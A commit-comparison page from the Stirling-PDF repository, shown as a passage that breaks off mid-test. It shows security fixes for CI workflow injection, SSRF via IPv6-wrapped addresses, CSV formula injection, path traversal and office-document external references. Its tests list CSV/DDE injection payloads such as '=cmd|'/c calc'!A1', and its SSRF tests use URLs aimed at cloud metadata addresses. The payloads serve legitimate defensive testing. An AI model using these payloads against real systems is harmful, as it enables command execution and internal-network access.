mirror of
https://github.com/Stirling-Tools/Stirling-PDF.git
synced 2026-09-03 05:10:16 +03:00
Compare commits
15
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
bd2db53179 | ||
|
|
2f2257eca7 | ||
|
|
783c35dad8 | ||
|
|
6786e8f128 | ||
|
|
116bbc9ea6 | ||
|
|
b727c99e61 | ||
|
|
d87bb96fcb | ||
|
|
fa50e1e89e | ||
|
|
b1d7d56a69 | ||
|
|
85a08af294 | ||
|
|
e4c8456dd8 | ||
|
|
c47316dc34 | ||
|
|
b1a572823d | ||
|
|
1d6147849b | ||
|
|
a8eef81914 |
@@ -41,35 +41,52 @@ jobs:
|
||||
|
||||
- name: Check if actor is repo developer
|
||||
id: actor
|
||||
env:
|
||||
ACTOR: ${{ github.actor }}
|
||||
BASE_REF: ${{ github.base_ref }}
|
||||
run: |
|
||||
if [[ "${{ github.actor }}" == *"[bot]" ]]; then
|
||||
echo "PR opened by a bot – skipping AI title review."
|
||||
if [[ "$ACTOR" == *"[bot]" ]]; then
|
||||
echo "PR opened by a bot - skipping AI title review."
|
||||
echo "is_repo_dev=false" >> $GITHUB_OUTPUT
|
||||
exit 0
|
||||
fi
|
||||
if [ ! -f .github/config/repo_devs.json ]; then
|
||||
echo "Error: .github/config/repo_devs.json not found" >&2
|
||||
git fetch --quiet origin "$BASE_REF"
|
||||
# Trust list must come from the base ref, never from the PR tree
|
||||
if ! REPO_DEVS_JSON=$(git show "origin/$BASE_REF:.github/config/repo_devs.json" 2>/dev/null); then
|
||||
echo "Error: .github/config/repo_devs.json not found on origin/$BASE_REF" >&2
|
||||
exit 1
|
||||
fi
|
||||
# Validate JSON and extract repo_devs
|
||||
REPO_DEVS=$(jq -r '.repo_devs[]' .github/config/repo_devs.json 2>/dev/null || { echo "Error: Invalid JSON in repo_devs.json" >&2; exit 1; })
|
||||
REPO_DEVS=$(jq -r '.repo_devs[]' <<< "$REPO_DEVS_JSON" 2>/dev/null || { echo "Error: Invalid JSON in repo_devs.json" >&2; exit 1; })
|
||||
# Convert developer list into Bash array
|
||||
mapfile -t DEVS_ARRAY <<< "$REPO_DEVS"
|
||||
if [[ " ${DEVS_ARRAY[*]} " == *" ${{ github.actor }} "* ]]; then
|
||||
if [[ " ${DEVS_ARRAY[*]} " == *" $ACTOR "* ]]; then
|
||||
echo "is_repo_dev=true" >> $GITHUB_OUTPUT
|
||||
else
|
||||
echo "is_repo_dev=false" >> $GITHUB_OUTPUT
|
||||
fi
|
||||
|
||||
- name: Load system prompt from base ref
|
||||
if: steps.actor.outputs.is_repo_dev == 'true'
|
||||
env:
|
||||
BASE_REF: ${{ github.base_ref }}
|
||||
run: |
|
||||
# System prompt must come from the base ref, never from the PR tree
|
||||
git show "origin/$BASE_REF:.github/config/system-prompt.txt" > "$RUNNER_TEMP/system-prompt.txt"
|
||||
|
||||
- name: Get PR diff
|
||||
if: steps.actor.outputs.is_repo_dev == 'true'
|
||||
id: get_diff
|
||||
env:
|
||||
BASE_REF: ${{ github.base_ref }}
|
||||
run: |
|
||||
git fetch origin ${{ github.base_ref }}
|
||||
git diff origin/${{ github.base_ref }}...HEAD | head -n 10000 | grep -vP '[\x00-\x08\x0B\x0C\x0E-\x1F\x7F\x{202E}\x{200B}]' > pr.diff
|
||||
echo "diff<<EOF" >> $GITHUB_OUTPUT
|
||||
git fetch origin "$BASE_REF"
|
||||
git diff "origin/$BASE_REF...HEAD" | head -n 10000 | grep -vP '[\x00-\x08\x0B\x0C\x0E-\x1F\x7F\x{202E}\x{200B}]' > pr.diff
|
||||
# Random delimiter so diff content cannot forge step outputs
|
||||
DELIM="EOF_$(openssl rand -hex 16)"
|
||||
echo "diff<<$DELIM" >> $GITHUB_OUTPUT
|
||||
cat pr.diff >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
echo "$DELIM" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Check and sanitize PR title
|
||||
if: steps.actor.outputs.is_repo_dev == 'true'
|
||||
@@ -90,7 +107,7 @@ jobs:
|
||||
uses: actions/ai-inference@a7805884c80886efc241e94a5351df715968a0ad # v2.1.1
|
||||
with:
|
||||
model: openai/gpt-4o
|
||||
system-prompt-file: ".github/config/system-prompt.txt"
|
||||
system-prompt-file: ${{ runner.temp }}/system-prompt.txt
|
||||
prompt: |
|
||||
Based on the following input data:
|
||||
|
||||
@@ -108,10 +125,11 @@ jobs:
|
||||
|
||||
- name: Validate and set SCRIPT_OUTPUT
|
||||
if: steps.actor.outputs.is_repo_dev == 'true'
|
||||
env:
|
||||
AI_RESPONSE: ${{ steps.ai-title-analysis.outputs.response }}
|
||||
PR_TITLE: ${{ steps.sanitize_pr_title.outputs.pr_title }}
|
||||
run: |
|
||||
cat <<EOF > ai_response.json
|
||||
${{ steps.ai-title-analysis.outputs.response }}
|
||||
EOF
|
||||
printf '%s\n' "$AI_RESPONSE" > ai_response.json
|
||||
|
||||
# Validate JSON structure
|
||||
jq -e '
|
||||
@@ -149,7 +167,7 @@ jobs:
|
||||
echo "### 🤖 AI PR Title Analysis" >> $GITHUB_STEP_SUMMARY
|
||||
echo "### Input PR Title" >> $GITHUB_STEP_SUMMARY
|
||||
echo '```bash' >> $GITHUB_STEP_SUMMARY
|
||||
echo "${{ steps.sanitize_pr_title.outputs.pr_title }}" >> $GITHUB_STEP_SUMMARY
|
||||
echo "$PR_TITLE" >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo '### AI Response (raw JSON)' >> $GITHUB_STEP_SUMMARY
|
||||
echo '```json' >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
@@ -19,6 +19,10 @@ version.properties
|
||||
#### Stirling-PDF Files ###
|
||||
pipeline/
|
||||
!pipeline/.gitkeep
|
||||
# The rule above targets the app's runtime pipeline working dir, but it also
|
||||
# matches these Java source dirs; keep the source tracked.
|
||||
!app/core/src/main/java/stirling/software/SPDF/controller/api/pipeline/
|
||||
!app/core/src/test/java/stirling/software/SPDF/controller/api/pipeline/
|
||||
customFiles/
|
||||
configs/
|
||||
watchedFolders/
|
||||
|
||||
+11
-2
@@ -89,13 +89,22 @@ public class MobileScannerService {
|
||||
*
|
||||
* @param sessionId Unique session identifier
|
||||
* @param files Files to upload
|
||||
* @throws IllegalArgumentException If the session is unknown or expired
|
||||
* @throws IOException If file storage fails
|
||||
*/
|
||||
public void uploadFiles(String sessionId, List<MultipartFile> files) throws IOException {
|
||||
validateSessionId(sessionId);
|
||||
|
||||
SessionData session =
|
||||
activeSessions.computeIfAbsent(sessionId, id -> new SessionData(sessionId));
|
||||
// Uploads only land in a session a desktop client actually created, never conjure one
|
||||
SessionData session = activeSessions.get(sessionId);
|
||||
if (session == null
|
||||
|| System.currentTimeMillis() > session.getLastAccessTime() + SESSION_TIMEOUT_MS) {
|
||||
if (session != null) {
|
||||
deleteSession(sessionId);
|
||||
}
|
||||
log.warn("Rejected mobile scanner upload for unknown session: {}", sessionId);
|
||||
throw new IllegalArgumentException("Session not found or expired");
|
||||
}
|
||||
|
||||
// Create session directory
|
||||
Path sessionDir = getSafeSessionDirectory(sessionId);
|
||||
|
||||
+89
-18
@@ -5,6 +5,7 @@ import java.net.Inet6Address;
|
||||
import java.net.InetAddress;
|
||||
import java.net.URI;
|
||||
import java.net.UnknownHostException;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
@@ -155,8 +156,7 @@ public class SsrfProtectionService {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (config.isBlockCloudMetadata()
|
||||
&& isCloudMetadataAddress(address.getHostAddress())) {
|
||||
if (config.isBlockCloudMetadata() && isCloudMetadataAddress(address)) {
|
||||
log.debug("URL blocked - cloud metadata endpoint: {}", url);
|
||||
return false;
|
||||
}
|
||||
@@ -189,16 +189,15 @@ public class SsrfProtectionService {
|
||||
}
|
||||
|
||||
byte[] bytes = addr6.getAddress();
|
||||
if (isIpv4MappedAddress(bytes)) {
|
||||
String ipv4 =
|
||||
(bytes[12] & 0xff)
|
||||
+ "."
|
||||
+ (bytes[13] & 0xff)
|
||||
+ "."
|
||||
+ (bytes[14] & 0xff)
|
||||
+ "."
|
||||
+ (bytes[15] & 0xff);
|
||||
return isPrivateIPv4Range(ipv4);
|
||||
// Local-use NAT64 (64:ff9b:1::/48) is internal whatever IPv4 it embeds
|
||||
if (isNat64LocalUsePrefix(bytes)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
for (String ipv4 : extractEmbeddedIpv4(bytes)) {
|
||||
if (isPrivateIPv4Range(ipv4)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
int firstByte = bytes[0] & 0xff;
|
||||
@@ -211,18 +210,79 @@ public class SsrfProtectionService {
|
||||
return false;
|
||||
}
|
||||
|
||||
private boolean isIpv4MappedAddress(byte[] addr) {
|
||||
if (addr.length != 16) {
|
||||
return false;
|
||||
/**
|
||||
* Extracts the IPv4 addresses wrapped by IPv6 transition formats so they can be classified by
|
||||
* the IPv4 rules. The wrapping prefixes are globally routable, so only the extracted IPv4
|
||||
* decides whether the destination is internal.
|
||||
*/
|
||||
private List<String> extractEmbeddedIpv4(byte[] addr) {
|
||||
if (addr == null || addr.length != 16) {
|
||||
return List.of();
|
||||
}
|
||||
|
||||
// ::ffff:w.x.y.z, ::w.x.y.z and well-known NAT64 64:ff9b::/96 all embed at bytes 12-15
|
||||
if (isIpv4MappedOrCompatibleAddress(addr) || isNat64WellKnownPrefix(addr)) {
|
||||
return List.of(toIpv4String(addr, 12, false));
|
||||
}
|
||||
|
||||
// 6to4 (2002::/16) embeds the tunnel endpoint IPv4 at bytes 2-5
|
||||
if ((addr[0] & 0xff) == 0x20 && (addr[1] & 0xff) == 0x02) {
|
||||
return List.of(toIpv4String(addr, 2, false));
|
||||
}
|
||||
|
||||
// Teredo (2001::/32) embeds the server IPv4 at bytes 4-7 and the client IPv4 inverted at
|
||||
// bytes 12-15
|
||||
if ((addr[0] & 0xff) == 0x20 && (addr[1] & 0xff) == 0x01 && addr[2] == 0 && addr[3] == 0) {
|
||||
return List.of(toIpv4String(addr, 4, false), toIpv4String(addr, 12, true));
|
||||
}
|
||||
|
||||
return List.of();
|
||||
}
|
||||
|
||||
private String toIpv4String(byte[] addr, int offset, boolean inverted) {
|
||||
int mask = inverted ? 0xff : 0x00;
|
||||
return ((addr[offset] ^ mask) & 0xff)
|
||||
+ "."
|
||||
+ ((addr[offset + 1] ^ mask) & 0xff)
|
||||
+ "."
|
||||
+ ((addr[offset + 2] ^ mask) & 0xff)
|
||||
+ "."
|
||||
+ ((addr[offset + 3] ^ mask) & 0xff);
|
||||
}
|
||||
|
||||
private boolean isIpv4MappedOrCompatibleAddress(byte[] addr) {
|
||||
for (int i = 0; i < 10; i++) {
|
||||
if (addr[i] != 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
// For IPv4-mapped IPv6 addresses, bytes 10 and 11 must be 0xff (i.e., address is
|
||||
// ::ffff:w.x.y.z)
|
||||
return addr[10] == (byte) 0xff && addr[11] == (byte) 0xff;
|
||||
// ::ffff:w.x.y.z is IPv4-mapped, ::w.x.y.z is the deprecated IPv4-compatible form
|
||||
return (addr[10] == (byte) 0xff && addr[11] == (byte) 0xff)
|
||||
|| (addr[10] == 0 && addr[11] == 0);
|
||||
}
|
||||
|
||||
private boolean isNat64WellKnownPrefix(byte[] addr) {
|
||||
if (!hasNat64Prefix(addr)) {
|
||||
return false;
|
||||
}
|
||||
for (int i = 4; i < 12; i++) {
|
||||
if (addr[i] != 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private boolean isNat64LocalUsePrefix(byte[] addr) {
|
||||
return hasNat64Prefix(addr) && addr[4] == 0 && addr[5] == 1;
|
||||
}
|
||||
|
||||
private boolean hasNat64Prefix(byte[] addr) {
|
||||
return addr.length == 16
|
||||
&& addr[0] == 0
|
||||
&& (addr[1] & 0xff) == 0x64
|
||||
&& (addr[2] & 0xff) == 0xff
|
||||
&& (addr[3] & 0xff) == 0x9b;
|
||||
}
|
||||
|
||||
private boolean isPrivateIPv4Range(String ip) {
|
||||
@@ -260,6 +320,17 @@ public class SsrfProtectionService {
|
||||
return false;
|
||||
}
|
||||
|
||||
private boolean isCloudMetadataAddress(InetAddress address) {
|
||||
if (address instanceof Inet6Address addr6) {
|
||||
for (String ipv4 : extractEmbeddedIpv4(addr6.getAddress())) {
|
||||
if (isCloudMetadataAddress(ipv4)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return isCloudMetadataAddress(address.getHostAddress());
|
||||
}
|
||||
|
||||
private boolean isCloudMetadataAddress(String ip) {
|
||||
String normalizedIp = normalizeIpv4MappedAddress(ip);
|
||||
// Cloud metadata endpoints for AWS, GCP, Azure, Oracle Cloud, and IBM Cloud
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
package stirling.software.common.util;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
/**
|
||||
* Neutralises CSV formula injection (CWE-1236) so spreadsheets treat untrusted cells as text.
|
||||
*
|
||||
* <p>Apply at CSV write time only; applying it on read would add a fresh apostrophe every round
|
||||
* trip.
|
||||
*/
|
||||
public final class CsvUtils {
|
||||
|
||||
// Leading characters a spreadsheet may read as the start of a formula.
|
||||
private static final String FORMULA_TRIGGERS = "=+-@\t\r";
|
||||
|
||||
// Real numbers must pass through untouched or extracted tables stop summing.
|
||||
private static final Pattern NUMERIC_PATTERN =
|
||||
Pattern.compile(
|
||||
"^[+-]?[$£¥€₹]?"
|
||||
+ "(?:(?:\\d+|\\d{1,3}(?:,\\d{3})+)(?:\\.\\d+)?|\\.\\d+)"
|
||||
+ "(?:[eE][+-]?\\d+)?"
|
||||
+ "[%‰]?[$£¥€₹]?\\s*$");
|
||||
|
||||
// A run of hyphens is a common "no value" placeholder and cannot be a formula.
|
||||
private static final Pattern DASH_PLACEHOLDER_PATTERN = Pattern.compile("^-+\\s*$");
|
||||
|
||||
private CsvUtils() {}
|
||||
|
||||
/**
|
||||
* Prefix a single apostrophe when the value starts with a formula trigger character.
|
||||
*
|
||||
* @param value the cell value about to be written, may be null
|
||||
* @return the value, prefixed only when a spreadsheet could evaluate it as a formula
|
||||
*/
|
||||
public static String neutraliseFormula(String value) {
|
||||
if (value == null || value.isEmpty()) {
|
||||
return value;
|
||||
}
|
||||
if (FORMULA_TRIGGERS.indexOf(value.charAt(0)) < 0) {
|
||||
return value;
|
||||
}
|
||||
if (NUMERIC_PATTERN.matcher(value).matches()
|
||||
|| DASH_PLACEHOLDER_PATTERN.matcher(value).matches()) {
|
||||
return value;
|
||||
}
|
||||
return "'" + value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Apply {@link #neutraliseFormula(String)} to every cell of a row about to be written.
|
||||
*
|
||||
* @param row the row of cell values, may be null
|
||||
* @return a new list with each cell neutralised, or null when the row is null
|
||||
*/
|
||||
public static List<String> neutraliseRow(List<String> row) {
|
||||
if (row == null) {
|
||||
return null;
|
||||
}
|
||||
List<String> neutralised = new ArrayList<>(row.size());
|
||||
for (String cell : row) {
|
||||
neutralised.add(neutraliseFormula(cell));
|
||||
}
|
||||
return neutralised;
|
||||
}
|
||||
}
|
||||
@@ -23,6 +23,7 @@ import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import com.fathzer.soft.javaluator.DoubleEvaluator;
|
||||
|
||||
import io.github.pixee.security.Filenames;
|
||||
import io.github.pixee.security.HostValidator;
|
||||
import io.github.pixee.security.Urls;
|
||||
|
||||
@@ -121,6 +122,9 @@ public class GeneralUtils {
|
||||
* <li>Fresh Matcher instances ensure thread safety
|
||||
* </ul>
|
||||
*
|
||||
* <p>Any directory component is stripped first, so attacker-supplied upload names cannot leak
|
||||
* path traversal into derived names such as zip entries.
|
||||
*
|
||||
* @param filename the filename to process, may be null
|
||||
* @return filename without extension, or "default" if input is null
|
||||
*/
|
||||
@@ -133,18 +137,20 @@ public class GeneralUtils {
|
||||
return filename;
|
||||
}
|
||||
|
||||
int dotIndex = filename.lastIndexOf('.');
|
||||
if (dotIndex > 0 && dotIndex < filename.length() - 1) {
|
||||
return filename.substring(0, dotIndex);
|
||||
String simpleName = Filenames.toSimpleFileName(filename);
|
||||
|
||||
int dotIndex = simpleName.lastIndexOf('.');
|
||||
if (dotIndex > 0 && dotIndex < simpleName.length() - 1) {
|
||||
return simpleName.substring(0, dotIndex);
|
||||
}
|
||||
|
||||
if (dotIndex == 0 || dotIndex == filename.length() - 1 || dotIndex == -1) {
|
||||
return filename;
|
||||
if (dotIndex == 0 || dotIndex == simpleName.length() - 1 || dotIndex == -1) {
|
||||
return simpleName;
|
||||
}
|
||||
|
||||
Pattern pattern = patternCache.getPattern(RegexPatternUtils.getExtensionRegex());
|
||||
Matcher matcher = pattern.matcher(filename);
|
||||
return matcher.find() ? matcher.replaceFirst("") : filename;
|
||||
Matcher matcher = pattern.matcher(simpleName);
|
||||
return matcher.find() ? matcher.replaceFirst("") : simpleName;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
+64
-2
@@ -3,10 +3,12 @@ package stirling.software.common.util;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.Set;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipInputStream;
|
||||
import java.util.zip.ZipOutputStream;
|
||||
@@ -52,9 +54,24 @@ public class OfficeDocumentSanitizer {
|
||||
"odt", "ott", "ods", "ots", "odp", "otp", "odg", "otg", "odf", "odc", "odi",
|
||||
"odm");
|
||||
|
||||
// Flat (uncompressed) OpenDocument: a single XML file rather than a zip container.
|
||||
private static final Set<String> FLAT_XML_EXTENSIONS =
|
||||
Set.of("fodt", "fods", "fodp", "fodg", "fodm");
|
||||
|
||||
private static final Set<String> ODF_XML_PARTS =
|
||||
Set.of("content.xml", "styles.xml", "meta.xml", "settings.xml");
|
||||
|
||||
// Markers that make an unparseable XML part too dangerous to hand to LibreOffice unsanitized.
|
||||
// Namespace declarations legitimately contain http URLs, so match reference
|
||||
// attributes and non-web schemes rather than any URL-looking text.
|
||||
private static final Pattern EXTERNAL_REFERENCE_MARKER =
|
||||
Pattern.compile(
|
||||
"targetmode\\s*=\\s*[\"']?\\s*external"
|
||||
+ "|href\\s*=\\s*[\"']?\\s*(?:https?|ftp|file|smb):"
|
||||
+ "|\\b(?:file|smb):/"
|
||||
+ "|\\\\\\\\\\w",
|
||||
Pattern.CASE_INSENSITIVE);
|
||||
|
||||
private final SsrfProtectionService ssrfProtectionService;
|
||||
private final ApplicationProperties applicationProperties;
|
||||
|
||||
@@ -70,7 +87,9 @@ public class OfficeDocumentSanitizer {
|
||||
return false;
|
||||
}
|
||||
String lower = extension.toLowerCase(Locale.ROOT);
|
||||
return OOXML_EXTENSIONS.contains(lower) || ODF_EXTENSIONS.contains(lower);
|
||||
return OOXML_EXTENSIONS.contains(lower)
|
||||
|| ODF_EXTENSIONS.contains(lower)
|
||||
|| FLAT_XML_EXTENSIONS.contains(lower);
|
||||
}
|
||||
|
||||
public byte[] sanitize(byte[] documentBytes, String extension) throws IOException {
|
||||
@@ -84,6 +103,36 @@ public class OfficeDocumentSanitizer {
|
||||
if (!isSanitizableExtension(extension)) {
|
||||
return documentBytes;
|
||||
}
|
||||
if (FLAT_XML_EXTENSIONS.contains(extension.toLowerCase(Locale.ROOT))) {
|
||||
return sanitizeFlatXml(documentBytes);
|
||||
}
|
||||
return sanitizeZipContainer(documentBytes);
|
||||
}
|
||||
|
||||
// Flat XML has no container to fall back on, so a parse failure must fail closed.
|
||||
public byte[] sanitizeFlatXml(byte[] documentBytes) throws IOException {
|
||||
if (documentBytes == null || documentBytes.length == 0) {
|
||||
throw new IOException("Office document input is empty or null");
|
||||
}
|
||||
if (applicationProperties.getSystem().isDisableSanitize()) {
|
||||
log.debug("Office document sanitization disabled by configuration");
|
||||
return documentBytes;
|
||||
}
|
||||
try {
|
||||
return sanitizeOdfXml(documentBytes);
|
||||
} catch (ParserConfigurationException | SAXException | TransformerException e) {
|
||||
throw new IOException("Failed to sanitize flat XML office document", e);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] sanitizeZipContainer(byte[] documentBytes) throws IOException {
|
||||
if (documentBytes == null || documentBytes.length == 0) {
|
||||
throw new IOException("Office document input is empty or null");
|
||||
}
|
||||
if (applicationProperties.getSystem().isDisableSanitize()) {
|
||||
log.debug("Office document sanitization disabled by configuration");
|
||||
return documentBytes;
|
||||
}
|
||||
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream(documentBytes.length);
|
||||
try (ZipInputStream zipIn =
|
||||
@@ -117,7 +166,7 @@ public class OfficeDocumentSanitizer {
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
private byte[] sanitizeEntry(String entryName, byte[] entryBytes) {
|
||||
private byte[] sanitizeEntry(String entryName, byte[] entryBytes) throws IOException {
|
||||
String lower = entryName.toLowerCase(Locale.ROOT);
|
||||
try {
|
||||
if (lower.endsWith(".rels")) {
|
||||
@@ -130,6 +179,14 @@ public class OfficeDocumentSanitizer {
|
||||
| SAXException
|
||||
| IOException
|
||||
| TransformerException e) {
|
||||
// An unparseable part carrying an external reference must not reach LibreOffice.
|
||||
if (containsExternalReferenceMarker(entryBytes)) {
|
||||
throw new IOException(
|
||||
"Unparseable XML part '"
|
||||
+ entryName
|
||||
+ "' contains an external reference and cannot be sanitized",
|
||||
e);
|
||||
}
|
||||
log.warn(
|
||||
"Failed to parse XML part '{}' for sanitization, leaving as-is: {}",
|
||||
entryName,
|
||||
@@ -138,6 +195,11 @@ public class OfficeDocumentSanitizer {
|
||||
return entryBytes;
|
||||
}
|
||||
|
||||
private boolean containsExternalReferenceMarker(byte[] entryBytes) {
|
||||
String raw = new String(entryBytes, StandardCharsets.ISO_8859_1);
|
||||
return EXTERNAL_REFERENCE_MARKER.matcher(raw).find();
|
||||
}
|
||||
|
||||
private boolean isOdfXmlPart(String lowerName) {
|
||||
int slash = lowerName.lastIndexOf('/');
|
||||
String base = slash >= 0 ? lowerName.substring(slash + 1) : lowerName;
|
||||
|
||||
@@ -6,6 +6,11 @@ public class RequestUriUtils {
|
||||
|
||||
private static final Pattern SHARE_LINK_PATTERN = Pattern.compile("^/share/[^/]+/?$");
|
||||
|
||||
// Only the phone side of the QR pairing is anonymous: it checks the session, then uploads.
|
||||
// Every other mobile-scanner path is desktop-side and stays behind authentication.
|
||||
private static final Pattern MOBILE_SCANNER_PUBLIC_PATTERN =
|
||||
Pattern.compile("^/api/v1/mobile-scanner/(?:upload|validate-session)/[a-zA-Z0-9-]+/?$");
|
||||
|
||||
public static boolean isStaticResource(String requestURI) {
|
||||
return isStaticResource("", requestURI);
|
||||
}
|
||||
@@ -202,8 +207,8 @@ public class RequestUriUtils {
|
||||
|| trimmedUri.startsWith("/healthz")
|
||||
|| trimmedUri.startsWith("/liveness")
|
||||
|| trimmedUri.startsWith("/readiness")
|
||||
|| trimmedUri.startsWith(
|
||||
"/api/v1/mobile-scanner/") // Mobile scanner endpoints (no auth)
|
||||
// Phone-side mobile scanner/signature calls only (see pattern above)
|
||||
|| MOBILE_SCANNER_PUBLIC_PATTERN.matcher(trimmedUri).matches()
|
||||
|| trimmedUri.startsWith("/api/v1/webhooks/")
|
||||
|| trimmedUri.startsWith("/v1/api-docs")
|
||||
// Workflow participant endpoints - access controlled by share tokens, not login
|
||||
|
||||
+21
-5
@@ -156,12 +156,28 @@ class MobileScannerServiceTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("auto-creates a session when uploading to an unregistered session ID")
|
||||
void autoCreatesSession() throws IOException {
|
||||
service.uploadFiles("new-session", List.of(file("a.txt", "data")));
|
||||
@DisplayName("rejects uploads to a session no desktop client registered")
|
||||
void rejectsUnknownSession() {
|
||||
assertThrows(
|
||||
IllegalArgumentException.class,
|
||||
() -> service.uploadFiles("new-session", List.of(file("a.txt", "data"))));
|
||||
|
||||
List<FileMetadata> metas = service.getSessionFiles("new-session");
|
||||
assertEquals(1, metas.size());
|
||||
assertTrue(service.getSessionFiles("new-session").isEmpty());
|
||||
assertFalse(Files.exists(tempDir.resolve("new-session")));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("rejects uploads to an expired session and clears it")
|
||||
void rejectsExpiredSession() {
|
||||
service.createSession("stale");
|
||||
forceLastAccess("stale", System.currentTimeMillis() - (20 * 60 * 1000L));
|
||||
|
||||
assertThrows(
|
||||
IllegalArgumentException.class,
|
||||
() -> service.uploadFiles("stale", List.of(file("a.txt", "data"))));
|
||||
|
||||
assertNull(service.validateSession("stale"));
|
||||
assertFalse(Files.exists(tempDir.resolve("stale")));
|
||||
}
|
||||
|
||||
@Test
|
||||
|
||||
+62
@@ -303,5 +303,67 @@ class SsrfProtectionServiceTest {
|
||||
void blocksIpv4MappedPrivate() {
|
||||
assertThat(service.isUrlAllowed("http://[::ffff:10.0.0.1]")).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("blocks IPv4-compatible ::a.b.c.d of a private address")
|
||||
void blocksIpv4CompatiblePrivate() {
|
||||
// ::a00:1 is ::10.0.0.1
|
||||
assertThat(service.isUrlAllowed("http://[::a00:1]")).isFalse();
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
@DisplayName("MEDIUM level - IPv6 transition addresses wrapping IPv4")
|
||||
class MediumIpv6Transition {
|
||||
|
||||
@BeforeEach
|
||||
void medium() {
|
||||
config.setEnabled(true);
|
||||
config.setLevel(SsrfProtectionLevel.MEDIUM);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(
|
||||
strings = {
|
||||
"http://[64:ff9b::a00:1]", // NAT64 well-known wrapping 10.0.0.1
|
||||
"http://[64:ff9b::7f00:1]", // NAT64 well-known wrapping 127.0.0.1
|
||||
"http://[64:ff9b::a9fe:a9fe]", // NAT64 well-known wrapping 169.254.169.254
|
||||
"http://[2002:c0a8:5::1]", // 6to4 wrapping 192.168.0.5
|
||||
"http://[2002:a9fe:a9fe::1]", // 6to4 wrapping 169.254.169.254
|
||||
"http://[2001:0:a00:1::]", // Teredo server 10.0.0.1
|
||||
"http://[2001:0:4136:e378:8000:63bf:3f57:fffa]" // Teredo client 192.168.0.5
|
||||
})
|
||||
@DisplayName("blocks transition addresses wrapping an internal IPv4")
|
||||
void blocksWrappedInternalIpv4(String url) {
|
||||
assertThat(service.isUrlAllowed(url)).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("blocks the local-use NAT64 prefix 64:ff9b:1::/48 outright")
|
||||
void blocksNat64LocalUsePrefix() {
|
||||
assertThat(service.isUrlAllowed("http://[64:ff9b:1::1]")).isFalse();
|
||||
assertThat(service.isUrlAllowed("http://[64:ff9b:1:ffff::5db8:d822]")).isFalse();
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(
|
||||
strings = {
|
||||
"http://[64:ff9b::5db8:d822]", // NAT64 well-known wrapping 93.184.216.34
|
||||
"http://[2002:5db8:d822::1]", // 6to4 wrapping 93.184.216.34
|
||||
"http://[2001:0:4136:e378:8000:63bf:3fff:fdd2]", // Teredo, both IPv4s public
|
||||
"http://[2001:db8::1]" // documentation prefix, not Teredo
|
||||
})
|
||||
@DisplayName("allows transition addresses wrapping a public IPv4")
|
||||
void allowsWrappedPublicIpv4(String url) {
|
||||
assertThat(service.isUrlAllowed(url)).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("blocks cloud metadata behind 6to4 even with private-network checks off")
|
||||
void blocksMetadataBehindSixToFour() {
|
||||
config.setBlockPrivateNetworks(false);
|
||||
config.setBlockLinkLocal(false);
|
||||
assertThat(service.isUrlAllowed("http://[2002:a9fe:a9fe::1]")).isFalse();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
package stirling.software.common.util;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
|
||||
class CsvUtilsTest {
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(
|
||||
strings = {
|
||||
"=cmd|'/c calc'!A1",
|
||||
"=1+1",
|
||||
"@SUM(A1)",
|
||||
"+cmd|'/c calc'!A1",
|
||||
"-2+3+cmd|'/c calc'!A1",
|
||||
"\t=1+1",
|
||||
"\r=1+1",
|
||||
"\tSUM(A1)",
|
||||
"=HYPERLINK(\"http://evil\",\"click\")",
|
||||
"@",
|
||||
"="
|
||||
})
|
||||
void testNeutraliseFormula_dangerousValuesArePrefixed(String value) {
|
||||
assertEquals("'" + value, CsvUtils.neutraliseFormula(value));
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(
|
||||
strings = {
|
||||
"-12.50",
|
||||
"+3",
|
||||
"-1,234.00",
|
||||
"-12%",
|
||||
"-$4",
|
||||
"1e-5",
|
||||
"-1e-5",
|
||||
"-0",
|
||||
"-.5",
|
||||
"+1,000",
|
||||
"-1234567",
|
||||
"-12.50 ",
|
||||
"-£4.99",
|
||||
